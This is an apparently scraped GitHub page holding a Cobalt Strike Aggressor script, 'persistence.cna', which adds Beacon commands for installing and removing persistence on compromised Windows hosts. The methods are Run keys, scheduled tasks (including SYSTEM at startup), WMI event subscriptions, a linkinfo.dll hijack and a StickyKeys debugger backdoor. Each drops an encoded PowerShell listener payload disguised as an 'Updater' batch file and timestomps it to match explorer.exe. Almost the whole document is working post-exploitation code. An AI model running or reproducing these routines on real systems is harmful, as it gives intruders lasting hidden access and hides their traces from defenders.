-
Notifications
You must be signed in to change notification settings - Fork 7
/
persistence.cna
592 lines (544 loc) · 19.5 KB
/
persistence.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
##################################
### Aggressor Persistence v3.1 ###
### By: Tyler Rosonke ###
### zonksec.com ###
##################################
alias persistence {
########### Add Menu #############
if ($2 eq "Add"){
if ($3 eq "RegKeyRun") {
addRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
addSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
addSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
addSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
addSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
addWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
addWMIDaily($1,$2,$3,$4,$5,$6,$7);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
else if ($3 eq "linkinfo") {
addLinkinfo($1);
}
else if ($3 eq "StickyKeys") {
addStickyKeys($1);
}
else {
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
}
}
########### Remove Menu #############
else if ($2 eq "Remove"){
if ($3 eq "RegKeyRun") {
remRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
remSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
remSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
remSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
remSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
remWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
remWMIDaily($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
else if ($3 eq "linkinfo") {
remLinkinfo($1);
}
else if ($3 eq "StickyKeys") {
remStickyKeys($1);
}
else {
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
}
}
else {
berror($1, "Specify Add or Remove.");
}
}
########### Subroutines #############
# 64bit check not used elsewhere in the script yet
sub checkX64 {
if (-is64 $1) {
binput($1, "You're on a 64bit host! Make sure you're running in a 64bit process or file and registry changes may end up in SYSWOW locations and fail to function as intended!");
return true;
}
else {
return false;
}
}
sub uploadPSpayload {
# Improved robustness in cases where you have more than one listener configured (foreign listeners)
# Additionally, this method leverages an encoded command rather than staging via the Powershell download IEX cradle
$availableListeners = listeners();
# Skip listener selection if only one exists
if (size($availableListeners()) eq 1) {
$listener = $availableListeners[0];
binput($1, "Persisting listener: $listener");
$data = "@echo off\r\n";
$data = $data . powershell($listener, false);
binput($1, "Attempting to upload persistence file: $2");
bupload_raw($1, $2, $data);
binput($1, "timestomp $2 explorer.exe");
btimestomp($1, $2,'C:\Windows\explorer.exe');
}
# There is likely a better way to select a listener, but this is the quickest method I came up with without modifying the logic of every function to require a listener_name
# Use payload helper function if more than one listener is available
else {
# Store the payloadPath as global variable so it can be accessed by the callback function of &openPayloadHelper
# If you include instructions contingent on the completion of the openPayloadHelper function outside of its callback function,
# those instructions will execute as soon as the payload selection dialog opens and they will fail. This is why some code repeats
global ('$gpayloadPath');
$gpayloadPath = $2;
openPayloadHelper(lambda({
$listener = $1;
binput($bids, "Persisting listener: $listener");
$data = "@echo off\r\n";
$data = $data . powershell($listener, false);
binput($bids, "Attempting to upload persistence file: $gpayloadPath");
bupload_raw($bids, $gpayloadPath, $data);
binput($bids, "timestomp $gpayloadPath explorer.exe");
btimestomp($bids, $gpayloadPath,'C:\Windows\explorer.exe');
}, $bids => $1));
}
}
sub isAdmin {
return iff( right(beacon_info($1, "user"), 2) eq " *" , true, false);
}
sub addRegKey
{
$powershell = "New-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
bpowershell($1, $powershell);
}
sub remRegKey
{
$powershell = "Remove-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName;
bpowershell($1, $powershell);
}
sub addRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
uploadPSpayload($1,$payloadPath);
}
sub remRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
remRegKey($1,$hive,$keyPath,$keyName);
brm($1,$payloadPath);
}
sub addSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onidle /i " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify number idle time.");
}
}
sub remSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Specify number idle time.");
}
}
sub addSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . ' /sc onstart /RU "NT AUTHORITY\SYSTEM" /RL HIGHEST';
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnStart.");
}
}
sub remSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnStart.");
}
}
sub addSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc ONLOGON";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnLogon.");
}
}
sub remSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnStart.");
}
}
sub addSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub remSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub addWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.");
}
}
sub remWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.");
}
}
sub addWMIDaily {
if (isAdmin($1)){
if ($5 && $6) {
$taskHour = $5;
$taskMinute = $6;
}
else {
berror($1, "Specify Hour, Minute");
return;
}
if ($7) {
$payloadName = $7;
$taskName = $7;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour ='" . $taskHour ."' AND TargetInstance.Minute ='" . $taskMinute . "' GROUP WITHIN 60\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.");
}
}
sub remWMIDaily {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
brm($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.");
}
}
sub addLinkinfo {
# dll hijack on explorer.exe
if (isAdmin($1)) {
if (-exists script_resource("/payloads/linkinfo.dll")) {
binput($1, "[*] Dropping linkinfo.dll persistence");
bcd($1, 'c:\windows');
bupload($1, script_resource("/payloads/linkinfo.dll"));
btimestomp($1, "linkinfo.dll", 'c:\windows\system32\linkinfo.dll');
}
else {
berror($1, "./payloads/linkinfo.dll not found. Make sure you've created a DLL that matches the target architecture and stored it as ./payloads/linkinfo.dll");
}
}
else {
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack');
}
}
sub remLinkinfo {
# Remove dll hijack on explorer.exe
if (isAdmin($1)) {
binput($1, "[*] Removing linkinfo.dll persistence");
$payloadPath = "C:\windows\linkinfo.dll";
brm($1,$payloadPath);
}
else {
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack removal');
}
}
sub addStickyKeys {
if (isAdmin($1)){
if ($4) {
$payloadName = $4;
$keyName = "Debugger";
}
else {
$payloadName = "Updater";
$keyName = "Debugger";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
$powershellcmd = 'New-Item -Path "' . $hive . $keyPath . '" -Name sethc.exe -Force';
bpowershell($1,$powershellcmd);
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for StickyKeys.");
}
}
sub remStickyKeys {
if (isAdmin($1)){
if ($4) {
$payloadName = $4;
$keyName = "Debugger";
}
else {
$payloadName = "Updater";
$keyName = "Debugger";
}
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
remRegKey($1,$hive,$keyPath,$keyName);
brm($1,$payloadPath);
}
else {
berror($1, "Admin is needed for StickyKeys.");
}
}
##### Help Menu ######
beacon_command_register(
"persistence",
"add or remove persistence capabilities to a beacon",
"add or remove persistence capabilities to a beacon
Usage: persistence [Add | Remove] [method] [arguments]
Available methods:
RegKeyRun <payload / key name>
SchTasks OnIdle [idle time] <payload / task name>
SchTasks OnTime [Hourly | Daily | Weekly | Monthly] <payload / task name>
*SchTasks OnStart <payload / task name>
*SchTasks OnLogon <payload / task name>
*WMI OnStart <payload / task name>
*WMI Daily [Hour] [Minute] <payload / task name>
**linkinfo
*StickyKeys <payload / key name>
* = method needs admin
** = method need admin to install, but executes as USER
[] = requireed argument
<> = optional argument
");